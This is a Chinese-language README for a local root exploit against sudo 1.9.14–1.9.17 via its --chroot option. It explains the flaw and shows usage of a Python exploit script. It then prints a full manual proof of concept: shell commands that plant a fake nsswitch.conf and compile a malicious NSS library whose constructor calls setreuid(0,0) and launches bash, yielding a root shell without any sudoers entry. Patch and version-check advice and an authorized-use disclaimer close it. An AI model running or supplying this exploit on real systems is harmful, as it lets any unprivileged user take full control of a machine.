通过 sudo 的 --chroot(-R)选项实现到 root 的本地权限提升。
适用于任何本地用户,包括那些完全没有 sudoers 条目的账户(例如 www-data)。
sudo 1.9.14 – 1.9.17 会在 sudoers 策略仍在评估期间就 chroot() 进入用户提供的目录——即在授权决定之前。该 chroot() 之后,sudo 的 NSS 查询会从攻击者的 chroot 内部读取 /etc/nsswitch.conf,而 glibc 会把一个伪造的源名称转换成 dlopen("libnss_<name>.so.2")——该模块会以 root 身份被加载并执行其构造函数。
植入一个伪造的 nsswitch.conf(passwd: /woot1337)以及一个恶意的 libnss_/woot1337.so.2(其 ELF 构造函数执行 setreuid(0) + exec("/bin/bash"))即可获得 root shell。该漏洞在 sudoers 检查之前就会被触发,因此调用者无需任何 sudo 权限。
1.9.14 – 1.9.171.9.17p1(1.9.14 中的 chroot 改动已被回滚;该功能已被弃用)Python 3 标准库、存在漏洞的 setuid sudo(1.9.14–1.9.17),以及目标机器上的 gcc(用于
构建极小的 libnss 模块)。以低权限用户运行。
python3 exploit.py # -> 交互式 root shell
python3 exploit.py -c 'id' # 以 root 身份运行单条命令
etc/nsswitch.conf = passwd: /woot1337(外加一份 /etc/group 的副本)。libnss_/woot1337.so.2——一个 ELF,其构造函数(__attribute__((constructor)))执行
setreuid(0,0) 和 execl("/bin/bash", …)。sudo -R woot woot —— sudo chroot 进入 woot,解析 NSS,以 root 身份 dlopen
libnss_/woot1337.so.2,构造函数在 sudo 检查用户是否被授权之前就提供一个 root shell。规范的手工 PoC(Stratascale / pr0v3rbs "chwoot"):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => 存在漏洞 ; 1.9.17p1 => 已修补
将 sudo 更新至 ≥ 1.9.17p1。chroot 功能已被弃用,不应依赖。
仅用于授权的安全测试和教育目的。只能针对你拥有或拥有明确测试许可的系统使用。